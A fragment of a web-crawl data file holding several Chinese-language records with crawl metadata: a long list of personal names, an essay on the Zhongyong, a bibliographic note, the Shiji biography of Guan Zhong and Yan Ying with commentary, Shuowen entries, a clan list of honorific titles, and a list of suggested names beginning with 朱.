吳永川 楊重遠 魏海泉 楊文得 陳英雄 許本崎 張人白 莊世偉 李文鋒 梁逸源 楊鴻聲 林東毅 李博隆 李聰明 黃添福 李中安 呂清祿 陳福煙 張榮賢 王純德 王永昌 方鐘河 蔡瑞發 周瑞霖 陳沛泉 侯衡陽 王勝興 丁玉山 黃介亨 洪信明 方曜寬 伍禎德 林崇義 李懋林 陳俊雄 翁桂芳 王政生 梁成福 詹明憲 林家財 李順發 李克文 許華德 唐燦焜 黃心福 彭兆宏 謝明輝 許文南 唐嘉亮 梁明湖 林俊然 李明芳 郭國祥 蘇明達 郭大吉 蔡燦宗 許瑞銘 楊武雄 陳頌榮 劉宏裕 陳英明 趙忠義 歐東益 鄒緯國 陳景星 蘇炳文 翁永裕 郭泰源 黃文顯 邵文彪 李百霖 黃立東 黃瓊瑤 周鳳昇 蔡榮峰 陳良吉 石需生 楊聖書 葉振輝 歐維明 胡鴻亞 葉青彬 朱漢光 楊能泉 陳嘉正 吳基全 王祈成 林山河 蔡慶瑞 王凱平 呂長正 許英傑 侯吾忠 蔡坤玉 王東山 謝永春 孫友財 莊江生 張再榮 黃虎 姚哲全 黃敏宗 張桐銘 曾景義 鄭郭仁 林政焜 吳柏青 盧慶壽 林文川 石海銘 胡有德 劉元霖 洪榮彰 魏恒泉 陳東濱 李亮崇 林茂輝 趙榮復 楊宗龍 雷立銘 江明忠 林俊義 趙正機 王如舜 邱進貴 蘇友隆 邱文和 許穆成 陳文義 林國榮 廖重惠 李至剛 謝智雄 陳焜弘 袁亞洲 楊祺偉 蔡同河 王道弘 黃純正 邱英輝 楊嘉全 蘇洸正 馬福康 張伸行 勞庚年 何進旺 陳金海 李祈章 林壽山 林柏年 陳德義 蔡清波 許永坤 莊世鴻 黃德仁 黃飛山 黃仲安 許安里 郭保渠 牛樹茂 蘇櫻桃 林玲 陳雪玉 陳淑(女員) 王月治 李黎芬 黃玉珠 劉美英 林碧霞 吳穗鑾 黃秀珍 許秀貞 胡曉梅 陳淑淮 邢蘭英 丁雪芬 吳麗嬋 吳珍<艹正> 歌秀雪 吳玲叔 葉寧蕙 吳月雲 吳芬蓮 林秀霞 周娟娟 侯月華 李美珍 林巧麗 徐蕙蘭 范惠滿 林麗華 傅婉滿 黃淑芬 謝淑德 郭燕璧 楊安平 龔娟 盧素珠 李莉娜 陳桂芳 許文蘭 施春聲 李淑錦 陳秀雲 王炎錦 吳淑貞 鯬錦燿 陳美吟 李玉葉 賴美齡 陳碧琴 侯麗敏 吳貞慧 賴艷真 黃慧鶯 杜淑貞 蔡雪鈿 莊美玪 楊美珍 馬愛莉 劉秀爵 呂惠真 張美惠 楊雅玲 王鶯娟 李秀惠 李一娟 鄭月霞 謝婀娜 胡肇楨 李銘珠 曾淑貞 詹秀容 嚴美美 陳碧霞 林秀真 徐麗霓 吳淑珍 葉美惠 邱綉媚 郭惠美 董水柳 段惠美 蔡美秀 謝月娥 方芳玲 薛如玲 吳淑馨 周惠美 王雪娥 李美櫻 陳麗鄉 劉蕊花 陳柳秀 陳素月 李秀美 吳妙癸 李桂容 林雅珍 吳佳應 曾椿喜 葉錦燕 施淑珍 楊盈瓊 徐芷源 謝梅影 郭美珍 郭淑珠 郭月貴 陳淑英 黃美瑛 熊良華 蔡辰美 陳瑜雯 黃惠美 何玲燕 蘇淑媛 黃鴻惠 姜王屏 盧寶秀 黃惠郁 吳美滿 邱明慧 邱琇環 王維娜 蔡瑞美 朱端鳳 侯素珠 李天香 余敏琪 林玉英 吳幸娥 施茂漪 莊蕙瑩 郭素梅 陳美吟 郭蘭秀 蔡碧月 吳媛英 陳惠珠 趙娟娟 雷文濂 陳吟足 胡雅惠 許麗珠 王雪蓉 張景嵩 馮南平 曾建華 謝淑萌 林麗珠 陳淑月 許華桃 廖美月 黃彩雲 莊淑雲 程雪華 謝世美 石瓊珠 何菊香 陳美惠 譚黎仙 陳淑美 陳惠娘 孫妙蘭 陳素娥 盧蓓蕾 呂金枝 盧碧珠 陳美妃 邱秋美 張秀榮 趙雪娥 杜美慧 鄭惠容 余麗珠 陳秋華 林妙禎 蔣金英 余令桂 陳坩碧 陳滿花 周明柳 趙根 張臺英 張秀慧 黃肅雅 毛幻文 陳淑惠 石和美 郭敏朱 莊孟華 謝麗雅 柯美瑛 張媖貴 張蓓德 施瓊娥 洪秀燕 吳麗華 袁灣灣 楊美月 張媖砡 邱淑惠 林春美 董秋花 陳舜琴 吳慈滿 陳阿滿 林奇蕙 蘇順美 歐陽麗美 沈芬香 楊貴容 王淑貞 侯素卿 莊妍斐 龍鳳祥 葉淑瑛 林坤鳳 譚理心 黃曦微 劉月輝 蒲月輝 吳咏芬 林邦英 陳慧 蕭明奕 陳月英 邱秀琴 魏芸華 李漪 黃麗娟 郭萍潔 王瓊萱 吳王秋 楊秀杏 李蓉蓉 陳淑琴 黃麗貞 王瓊雲 方麗雲 陳瑞美 蔡麗琴 陳麗舟 陳嫦娥 王淑雲 嚴愛生 梁淑美 王清蘭 張美珍 曹碧珍 吳淑貞 林黃娥 凃淑娥 郭雪娥 陳淑芬 楊淑雲 梁淑子 林貴珍 吳妙燕 林鳳珠 郭秀敏 城惠美 楊淑惠 高美娥 莊禾香 陳美香 蔡秀香 楊黎珍 陳秋玉 黃玲蘭 劉滿花 蒙寶貞 林惠玉 李碧霞 高蘭香 盧貞吟 李貴珠 林秀冶 黃順順 潘麗貞 陳紅君 郭淑真 陳玟卿 楊遠香 彭陸妹 林麗華 鄭碧娥 莊錦雀 李招治 葉欣惠 林香吟 蘇燕青 洪炎貞 姜新生 吳命選 蔡嫃滇 邱惠容 徐嫦娥 林春對 林素雲 黃麗鶯 林淑珠 趙一麗 王淑貞 陶家樂 劉健德 楊彩娥 范亞崙 張素珍 李麗玲 林惠吟 陳雅珍 唐綉鳳 林秀鑾 吳貴玉 余鳳玉 林昭月 洪月雲 孫美英 謝群珠 林英美 李嘉璐 鄭怜慧 張鳳容 侯麗華 吳淑敏 施麗英 陳耿慧 鄭清秀 林鶯嬌 郭素月 鄭金英 張美連 吳英雲 謝淑惠 陳碧雪 施水鶯 蘇碧容 曾燕玉 郭美慧 石惠貞 王一成 李瓊妙 蘇文絹 陳秀月 胡之熒 王素治 金延平 蔡明珠 張淑美 盧柳鶯 謝峯(土茲) 王淑琴 許碧珠 林秀華 許秀蘭 李瑞華 莊淑琇 陳錦雪 蘇琴清 陳月華 樊素娥 蔡淑鳳 黃慕蓮 趙永南 張麗卿 洪道玉 方壽燕 黃惠貞 蔡秋娥 侯淑沓 蔡素月 王淑璣 馬芬蘭 莊麗英 施淑姿 葉中瑛 陳秀娟 張馨芳 蘇美慧 林秀英 陳秋蘋 王盈滿 吳麗珠 江革姃 魏淑真 鄭碧娥 林鳳菊 鄭銀雪 王溫恭 于佩珊 吳淑華 鄧玲玲 黃素英 馬麗安 蔡朱素禎 黃萃 宛麗富 李碧淑 陳芳英 羅昌鈺 黃易枝 呂真慧 胡靄怡 王惠貞 蔡秀美 陳燕齡 林雪櫻 林燕卿 吳淑琴 施淑琴 童麗雲 李淑珠 陳阿玉 吳來治 陳瑞芬 楊春美 馬麗 鄭春美 林美珠 呂淑美 彭素娟 吳美華 劉美吟 沈淑滿 龔素華 方美霞 江琴噖 楊奎麗 陳桂玉 蘇玉雪 蘇美英 周霞君 林玉雲 曾月娥 蔡碧娟 郭金枝 潘美如 葉蕙嫩 林秀琴 江秋汝 陳康莊 王潤椒 吳美玉 林秀娟 陳瑛瑛 張瑞琴 張沛然 許碧洳 王月治 鄭素卿 潘淑琴 陳麗華 許美心 黃惠蘭 郭琪真 董鳳鈿 蘇小英 吳如珍 許瑞玲 郭麗香 謝素琴 李美滿 王玉英 劉淑媛 蘇碧霞 王碧雲 李美娥 林陳阿珠 陳淑貞 王桂淵 曾玲容 葛八妹 董秀玉 吳美玲 孫碧琴 邱月桃 劉美惠\n- 罕用字合成原則:\n- 左右合成:以\"(\"及\")\"括住欲合成的文字,例如:(禾惠)即合成\"穗\"\n- 上下合成:以\"<\"及\">\"括住欲合成的文字,例如:<白水>即合成\"泉\"\n- 其餘更複雜用法,將逐步增加說明。","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/encyclopedia.ckes.tn.edu.tw\/index.php\/1963%E5%B9%B4","date":"2018-03-17T04:31:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257644271.19\/warc\/CC-MAIN-20180317035630-20180317055630-00317.warc.gz","language":"lzh","language_score":0.8212803006,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.821280300617218, \"nan_Hani_score\": 0.12604621052742004, \"cmn_Hani_score\": 0.05035475268959999}","num_words":1008,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.259,"stopwords_ratio":0.001,"flagged_words_ratio":0.0,"lang_id_score":0.815,"perplexity_score":500.0,"cluster_detection":1} +{"text":"君子之道,造端乎夫婦\nby rifur\n自讀中庸後,這問題想了兩年。偶有所得,試寫出來求教諸君子。\n夫言君子之道,其所以行之,乃大學書所言齊家者也、中庸書所言妻子好合、兄弟既翕、父母其順矣也。蓋男女或言天生萬物,即有所感,有所感則暢其情,情暢則天地間莫若雲行雨施、大化流行也,此造端之義。盍不言男女而謂夫婦?故夫婦之所以行之者,家室之謂也。\n且夫孝經,雖漢儒別作天子、諸侯等章,然其旨莫有以繼嗣為重。宏觀全書,通貫大孝,終於立身以揚父母之名,始於保養身體髮膚不敢毀傷,故能謹身節用而養家、制節謹度而教民也。況聖人作序卦傳,設天地、類萬物,特言有男女而後有夫婦,行家齊之道,同一旨也。\n蓋家室不和則人道不誠,不誠則行多怪,行怪則己身不立,身不立則德不脩,德不脩則賊臣篡子滋起矣。故子弒其父,臣弒其君,諸侯奔走不得保其社稷者不可勝數,皆非一旦一夕之故也,其漸久矣。\n然盍為言無後為大不孝乎?揆諸史冊,國多征伐,戶口不興,工田不振,商旅委靡,則將命生育人口而充數、成年分家以興戶,故揀孟子之言以教民,此國策之所以然也,非聖人之所教也。夫殺戮爭戰以為快事,孟子不齒,必謂不嗜殺人能王天下;老子言居兵者以喪禮處之;孔子言神武不殺;孫子言全國為上。是以侯王若能守之,不逞欲而殺伐,不嗜欲而喜田獵,則萬物將自化,天下將自定。\n故修道者,古必始教之以孝,脩之以仁,處之以信,然後明賢賢易色之旨、行敬與義而天道顯。故雖未學文,必謂之學道也,然後成君子。君子以文會友,以友輔仁。故論語學而有子曰:君子務本,本立而道生。孝弟也者,其為仁之本也。君子之道,始行於孝悌,此之謂也。\n夫言君子之道,其所以明之,堯、舜、文王,不以其子而聞天下,中庸猶贊之。夫造,始也;端,命也。夫婦也者,父母之謂也。造端二字,確道生義,故中庸援詩曰:「鳶飛戾天、魚躍於淵」,言品物流行,上下察也。故君子之道,造端乎夫婦,言黎民父母所生,雖聖人亦父母所生也。夫小人君子,非言於位、非言於道、非言於義,惟見於德。食爾盤飧,君子於思,小兒遠行,母德乃顯。故修德之要,首在知止,次之博學,次之審問,次之慎思,次之明辨,然後篤行。行篤,所以有德,有德,然後見君子。\n君子不見之以令色,不聞之以巧言,不嗅之以蘭芝。夫惟見其德,乃成其大,夫惟德馨,乃聞其香。故老子曰:大音希聲,大象無形也。","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/rifur.wordpress.com\/2016\/12\/21\/%E5%90%9B%E5%AD%90%E4%B9%8B%E9%81%93%EF%BC%8C%E9%80%A0%E7%AB%AF%E4%B9%8E%E5%A4%AB%E5%A9%A6\/","date":"2018-03-23T14:20:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648313.85\/warc\/CC-MAIN-20180323141827-20180323161827-00483.warc.gz","language":"lzh","language_score":0.4560876191,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.4560876190662384, \"cmn_Hani_score\": 0.3701808750629425, \"nan_Hani_score\": 0.1468202769756317, \"wuu_Hani_score\": 0.01463312841951847}","num_words":11,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.664,"perplexity_score":500.0,"cluster_detection":1} +{"text":"不著撰人名氏。前有永樂四年。明成祖與徐皇后二序。俱謂永樂九年類輯古今列女傳。以高皇后聖訓。與古后妃爲一卷。而諸侯大夫士庶人妻各爲卷。徐后請以高皇后傳別刻之。徧賜內外。然則此卽古今列女傳之文而別出之者。其文則永樂初詞臣所撰也。又前有世宗致楚王書。幷章聖太后誥諭楚藩一道。章聖太后卽興獻后也。嘉靖七年。上尊號曰慈仁。九年頒太后製女訓於天下。此在十年之春。蓋與所頒女訓。同賜藩服。其時高帝高后之諡號。尚未改定。故仍前號也。其楚王卽端王榮㳦。以嘉靖十三年卒。爲昭王楨之四世孫。故世宗以叔祖稱之云。\n案此編亦傳記之類。然皇后爲天下母儀。敵體人主。不可參錯諸傳記中。今變例置之於雜史。亦所謂禮以義起者也。","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0115905.html","date":"2018-03-17T18:01:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645280.4\/warc\/CC-MAIN-20180317174935-20180317194935-00371.warc.gz","language":"lzh","language_score":0.4132105112,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.41321051120758057, \"cmn_Hani_score\": 0.3690465986728668, \"jpn_Jpan_score\": 0.03826766461133957, \"nan_Hani_score\": 0.03778277337551117, \"wuu_Hani_score\": 0.024576319381594658, \"zxx_Latn_score\": 0.02171814814209938, \"yue_Hani_score\": 0.02065478265285492}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.413,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n管晏列傳 史記\n管仲夷吾者、潁上人也。潁水、出陽城。今有潁上縣。少時常與鮑叔牙齊大夫。游、鮑叔知其賢。一篇以鮑叔事作主、故先點鮑叔。管仲貧困、常欺鮑叔、卽下分財多自與之類也。鮑叔終善遇之、不以爲言。千古良友。已而鮑叔事齊公子小白、管仲事公子糾、及小白立爲桓公、公子糾死、管仲囚焉、鮑叔遂進管仲。齊襄公無道、鮑叔牙奉公子小白奔莒。及無知弒襄公、管夷吾召忽奉公子糾奔魯、魯人納之。未克而小白入、是爲桓公。使魯殺子糾而請管召、召忽死之、管仲請囚、鮑叔牙言于桓公、以爲相。管仲旣用、任政于齊、齊桓公以霸、九合諸侯、一匡天下、管仲之謀也。管仲一生事業,只數語略寫。管仲曰、卽述仲語作敍事。吾始困時、嘗與鮑叔賈、分財利、多自與、鮑叔不以我爲貪、知我貧也。此一事最易知、然知者絕少。吾嘗爲鮑叔謀事、而更窮困、鮑叔不以我爲愚、知時有利不利也。吾嘗三仕三見逐于君、鮑叔不以我爲不肖、知我不遭時也。卽時之不利。吾嘗三戰三走、鮑叔不以我爲怯、知我有老母也。公子糾敗、召忽死之、吾幽囚受辱、鮑叔不以我爲無恥、知我不羞小節、而恥功名不顯于天下也。此四事最難知、唯良友深知之。 ○忽排五段、前實事旣略、此虛事獨詳、前以緊節勝、此以排語佳、相間成文。生我者父母、知我者鮑子也。總收知我字。句中有淚。鮑叔旣進管仲、閒接。以身下之、子孫世祿于齊、有封邑者十餘世、十餘世是言鮑叔、索隱指管仲。常爲名大夫、天下不多管仲之賢、而多鮑叔能知人也。以贊語作結、了鮑叔案。管仲旣任政相齊、間接。一匡九合、前已總序、此又另出一頭。重提再序、局法縱橫、無所不可。以區區之齊、在海濱、通貨積財、富國彊兵、與俗同好惡。此句是管仲治齊之綱。一同字、生下六個因字。故其稱曰、是夷吾著書所稱管子者、今舉其大略也。倉廩實而知禮節、衣食足而知榮辱、上服度則六親固、上服度、上之服御物有制度。六親、父母兄弟妻子也。固、安也。四維不張、國乃滅亡。四維、禮、義、廉、恥也。下令如流水之源、令順民心、故論卑而易行。俗之所欲、因而予之、俗之所否、因而去之。其爲政也、善因禍而爲福、轉敗而爲功、二句、得管仲之骨髓。貴輕重、慎權衡。輕重、謂錢也。管子有輕重篇。 ○一部管子、收盡數行。因禍爲福二句、又生下三段。桓公實怒少姬、南襲蔡、桓公與蔡姬戲船中、蔡姬習水蕩公、公怒、歸蔡姬而弗絕、蔡人嫁之、因伐蔡。管仲因而伐楚、責包茅不入貢於周室。桓公實北征山戎、山戎伐燕、桓公救燕、遂伐山戎。而管仲因而令燕修召公之政。於柯之會、桓公欲背曹沬妹、之約、管仲因而信之、桓公與魯會柯而盟、曹沬以匕首劫桓公于壇上、曰、反魯之侵地、桓公許之。已而欲無與魯地、而殺曹沬、管仲以爲倍信、遂與曹沬三敗所亡地于魯。諸侯由是歸齊。此皆一匡九合中事、又提三段另序、俱不實寫。故曰、知與之爲取、政之寶也。又卽以管子語結之、繳完上節。管仲富擬於公室、有三歸反坫、齊人不以爲侈。管仲卒、齊國遵其政、常彊於諸侯。收完任政齊相一段、卽帶下作晏子過文。後百餘年而有晏子焉。由上接下、蟬聯蛇蛻。晏平仲嬰者、萊之夷維人也。萊、今東萊地。事齊靈公、莊公、景公、以節儉力行重于齊。節儉力行四字、括盡晏子。旣相齊、食不重肉、妾不衣帛。與管仲三歸反坫對。其在朝、君語及之、卽危言、語不及之、卽危行。國有道、卽順命、謂直道行也。無道、卽衡命。謂權衡量度而行也。 ○二十五字、作八句、四節、兩對、雋永包括。以此三世靈、莊、景。顯名於諸侯。晏子一生事業、亦只數語、約略虛寫、與管仲一樣。越石父賢、在縲紲中、晏子出、遭之途、解左驂贖之、載歸、弗謝、入閨久之、越石父請絕。賢者固不可測。晏子戄學、然攝衣冠謝曰、嬰雖不仁、免子於厄、何子求絕之速也。石父曰、不然、吾聞君子詘於不知己、而信同伸、於知己者、一句案。方吾在縲紲中、彼不知我也、夫子旣已感寤而贖我、是知己、知己而無禮、固不如在縲紲之中。前以知己論管仲、此以知己論晏子、是史公著意點綴聯合處。晏子於是延入爲上客。晏子爲齊相、出、其御之妻、從門間而闚其夫。其夫爲相御、擁大蓋、策駟馬、意氣揚揚、甚自得也。描盡情狀、呼之欲出。旣而歸、其妻請去。奇婦人。 ○亦先作一縱、石父請絕、御妻請去、作一樣寫。夫問其故。妻曰、晏子長不滿六尺、身相齊國、名顯諸侯、今者妾觀其出、志念深矣、常有以自下者。看人入細。今子長八尺、乃爲人僕御、然子之意、自以爲足、妾是以求去也。其後夫自抑損、亦奇。晏子怪而問之、寫出有心人。御以實對、晏子薦以爲大夫。\n太史公曰、吾讀管氏牧民、山高、乘馬、輕重、九府皆管仲著書篇名。及晏子春秋、晏子春秋七篇。詳哉其言之也。因二子書已詳言、故史公傳以略勝。旣見其著書、欲觀其行事、故次其傳。至其書、世多有之、是以不論、論其軼事。表明作兩傳之㫖。先總說、下乃分。管仲世所謂賢臣、然孔子小之。豈以爲周道衰微、桓公旣賢、而不勉之至王、乃稱霸哉。貶駁處、意渾融。語曰、將順其美、匡救其惡、故上下能相親也。三句出孝經事君章。言君有美惡、臣將順而匡救之、故君臣能相親協、卽傳中所謂因而伐楚、因而令燕修召公之政、因而信之之類是也。豈管仲之謂乎。極抑揚之致。方晏子伏莊公尸哭之、成禮然後去、崔杼弒莊公、晏嬰入、枕莊公尸股而哭之、成禮而出。 ○補傳所未及。豈所謂見義不爲無勇者邪。晏子之不討崔氏、權不足也、然亦非克亂之才、故史公以無勇責之。至其諫說、犯君之顏、卽傳中所謂危言危行順命衡命是也。此所謂進思盡忠、退思補過者哉。進思盡忠八字、亦出孝經事君章。 ○極贊晏子。假令晏子而在、余雖爲之執鞭、所忻慕焉。執鞭暗用御者事。史公以李陵故被刑、漢法腐刑許贖、而生平交遊故舊、無能如晏子解左驂贖石父者、自傷不遇斯人、故作此憤激之詞耳。\n伯夷傳、忠孝兄弟之倫備矣。管晏傳、于朋友三致意焉。管仲用齊、由叔牙以進、所重在叔牙、故傳中深美叔牙。越石與其御、皆非晏子之友、而延爲上客、薦爲大夫、所難在晏子、故贊中忻慕晏子、通篇無一實筆、純以清空一氣運旋。覺伯夷傳猶有意爲文、不若此篇天然成妙。","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/neodu.com\/%E3%80%8A%E7%AE%A1%E6%99%8F%E5%88%97%E5%82%B3%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2018-04-27T02:58:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948950.83\/warc\/CC-MAIN-20180427021556-20180427041556-00526.warc.gz","language":"lzh","language_score":0.4437995851,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.44379958510398865, \"cmn_Hani_score\": 0.10004647821187973, \"zxx_Latn_score\": 0.07625596225261688, \"nan_Hani_score\": 0.07356729358434677, \"und_Tang_score\": 0.02845165692269802, \"jpn_Jpan_score\": 0.027808628976345062, \"wuu_Hani_score\": 0.020122649148106575, \"yue_Hani_score\": 0.01600208878517151, \"und_Yiii_score\": 0.014953158795833588, \"und_Xsux_score\": 0.012952369637787342, \"und_Nshu_score\": 0.011578341014683247}","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.441,"perplexity_score":500.0,"cluster_detection":1} +{"text":"說文小篆\n字頭\n释義\n哀聲也。从吅。从獄省聲。苦屋切。三部。按許書言省聲、多有可疑者。取一偏旁。不載全字。指爲某字之省。若家之爲豭省、哭之从獄省。皆不可信。獄固从㹜。非从犬。而取㹜之半。然則何不取?獨倏𤞞之省乎。竊謂从犬之字、如狡獪狂默猝猥?狠獷狀獳狎狃犯猜猛犺㹤狟戾獨狩臭獘獻類猶卅字皆从犬、而移以言人。安見非器本謂犬噑、而移以言人也。凡造字之本意有不可得者、如秃之从禾。用字之本義亦有不可知者、如家之从豕、哭之从犬。愚以爲家入豕部从豕宀、哭入犬部从犬吅。皆會意、而移以言人。庶可正省聲之勉強皮傅乎。哭部當廁犬部之後。凡哭之屬皆从哭。\n亡也。亡部曰。亡、逃也。亡非死之謂。故中庸曰。事死如事生。事亡如事存。尙書大傳曰。王之於仁人也。死者封其墓。況於生者乎。王之於賢人也。亡者表其閭。況於在者乎。皆存亡與生死分別言之。凶禮謂之喪者、鄭禮經目錄云不忍言死而言喪。喪者、棄亡之辭。若全居於彼焉。己失之耳。是則死曰喪之義也。公子重耳自偁身喪、魯昭公自偁喪人。此喪字之本義也。凡喪失字本皆平聲。俗讀去聲、以別於死喪平聲。非古也。从哭亡。亡亦聲。此從禮記奔喪之禮釋文所引。息郞切。十部。","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/ccamc.org\/cjkv_shuowen.php?juan=%E5%8D%B7%E4%BA%8C&bushou=%E5%93%AD%E9%83%A8","date":"2019-02-17T07:20:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247481766.50\/warc\/CC-MAIN-20190217071448-20190217093448-00457.warc.gz","language":"lzh","language_score":0.4016547501,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.40165475010871887, \"cmn_Hani_score\": 0.22671929001808167, \"jpn_Jpan_score\": 0.04626351222395897, \"nan_Hani_score\": 0.03567915037274361, \"zxx_Latn_score\": 0.025950457900762558, \"yue_Hani_score\": 0.02303619682788849, \"wuu_Hani_score\": 0.020975951105356216, \"und_Hira_score\": 0.01975078135728836, \"und_Tang_score\": 0.016847141087055206, \"und_Egyp_score\": 0.015953131020069122, \"und_Cans_score\": 0.014107579365372658, \"und_Cyrl_score\": 0.013897016644477844}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.391,"perplexity_score":500.0,"cluster_detection":1} +{"text":"諡者,表其人之功德,而易其名以稱之。若衛稱公叔文子以貞惠文是也。贈者,彰其人之德業,而隆其號以尊之。若周尊呂尚以太公,商尊傳說以良弼是也。我先世忠肝義膽,其功在社稷,命殞彊場者,真能氣吞雲夢,光爭日月。表功而旌,上賞隆以諡贈代有其人。錄之以明國家待臣之隆,祖宗得君之厚。\n廵公 封信安侯受蒼公 封贈定遠伯太平公 贈義英男奢公 贈武烈將軍諡忠獻駕公 封太保諡忠武旌祖公 贈奉直大夫元池公 贈太子太保諡忠愍自和公 封贈尚德男其岱公 贈銀青光祿大夫紀德公 封大司馬諡獻武聖言公 贈朝烈大夫諡勁烈永福公 贈武烈將軍上揭公 封贈懷安伯光煃公 封景德男勝金公 封贈齒德郎臣公 封宣國公諡文忠常公 封魯國公諡文正夢熊公 贈龍圖閣待制諡獻烈延年公 封贈安世駙馬伯霯公 贈朝奉郎肇庭公 旌贈宣德郎奇公 贈太子太傅咨謀公 贈翰林學士","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/www.hxzhu.cn\/article\/43577,d946,4d31,a29.aspx","date":"2019-04-23T08:25:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578596541.52\/warc\/CC-MAIN-20190423074936-20190423100936-00509.warc.gz","language":"lzh","language_score":0.5993413329,"language_script":"Hani","minhash_cluster_size":25,"top_langs":"{\"lzh_Hani_score\": 0.5993413329124451, \"cmn_Hani_score\": 0.3094640374183655, \"nan_Hani_score\": 0.06779473274946213, \"yue_Hani_score\": 0.01062706671655178}","num_words":25,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.68,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n朱长亮 朱茜月 朱西月 朱国润 朱国恩 朱钰珂 朱嘉 朱惜月 朱保军 朱金仙 朱娇君 朱蕉君 朱佼君 朱俐烨 朱娇群 朱德伟 朱俊宇 朱科栋 朱玮晨 朱子擎 朱亦杰 朱让 朱科迪 朱祥明 朱敏婕 朱烁 朱大勇 朱烁宇 朱兮珩 朱建桥 朱克菲 朱硕峰 朱鲲澍 朱坤博 朱杰华 朱洁宁 朱钧灵 朱学坤 朱印宏 朱景图 朱景武 朱炳宇 朱浩鸣 朱国辉 朱文贤 朱雅楠 朱力亚 朱淇宸 朱丹淇 朱淇丹 朱淇 朱淇淇 朱安淇 朱茂松 朱书铭 朱文功 朱锦华 朱春茶 朱家成 朱茱 朱斌魏 朱宝元 朱宝年 朱宝国 朱丽云 朱自清 朱逸群 朱云超 朱玮琪 朱周克 朱轩凯 朱惠杰 朱斌才 朱蕊颦 朱晓鹏 朱耀祖 朱依颦 朱冰冰 朱鸽昀 朱玉明 朱鸽云 朱宇圣 朱昶安 朱忠魁 朱立周 朱忠奎 朱雨蒙 朱艺晨 朱亚粼 朱雅粼 朱雅林 朱琊霖 朱尚辞 朱刖宏 朱浩川 朱瓴阁 朱峤 朱峤肫 朱刖海 朱春风 朱保林 朱维华 朱合顺 朱小龙 朱炳逸 朱国荣 朱日皎 朱注枰 朱枰 朱枰艺 朱柄 朱肉 朱淮杨 朱注洋 朱注浴 朱注江 朱苍茫 朱完治 朱沐春 朱沐相 朱沐阳 朱杰沐 朱沐杰 朱涵清 朱汉彬 朱汉林 朱汉清 朱江汉 朱汉江 朱染梁 朱梁染 朱栋梁 朱治涛 朱治池 朱治滔 朱治国 朱泓志 朱泓治 朱明亮 朱泓杰 朱泓棋 朱泓梭 朱泓杉 朱光一 朱森淼 朱淼 朱林泉 朱俊峰 朱凌泉 朱凌栎 朱建涛 朱凌渊 朱凌风 朱源凌 朱源泉 朱羽萱 朱晨佳 朱信杰 朱信札 朱桐淼 朱桐沙 朱桐渺 朱桐霸 朱建霖 朱玉东 朱洛准 朱洛杰 朱洛桔 朱洛柜 朱再思 朱洛彬 朱洛槟 朱洛冰 朱德刚 朱栎洛 朱洛桂 朱桂洛 朱椎洛 朱休洛 朱佳洛 朱洛林 朱棋来 朱棋 朱棋明 朱棋清 朱光杰 朱杰光 朱金胜 朱人杰 朱纯杰 朱淳杰 朱冰洲 朱舟全 朱子薇 朱周全 朱全舟 朱冰丰 朱冰海 朱捷 朱宸熙 朱涵辉 朱涵蕴 朱涵卿 朱宸羲 朱立雍 朱晋岩 朱涵敏 朱鑫淼 朱嘉宁 朱明祥 朱俊 朱军旗 朱卫平 朱惠莲 朱校东 朱可儿 朱小勇 朱洪毅 朱彦乔 朱程羽 朱珏晴 朱程宇 朱程誉 朱文璨 朱晓珏 朱程予 朱程煜 朱珏晓 朱程谕 朱程雨 朱雨春 朱程鱼 朱芊屿 朱程渔 朱程余 朱文生 朱程渝 朱华亮 朱桂萱 朱长颐 朱增光 朱潇逸 朱庆峰 朱庆厶 朱昕晴 朱庆昕 朱汛 朱冰 朱泳 朱素华 朱丛灵 朱滔 朱怀韬 朱珏青 朱兆庭 朱福昌 朱逸舟 朱伶珏 朱歆艺 朱昕彤 朱杰斌 朱艳颐 朱淑君 朱艳宜 朱流龙 朱艳仪 朱雁谊 朱珈毅 朱伶扬 朱雁宜 朱河新 朱雁仪 朱青珏 朱玉庆 朱兴国 朱红叶 朱红滨 朱奕澄 朱昕珏 朱逸轩 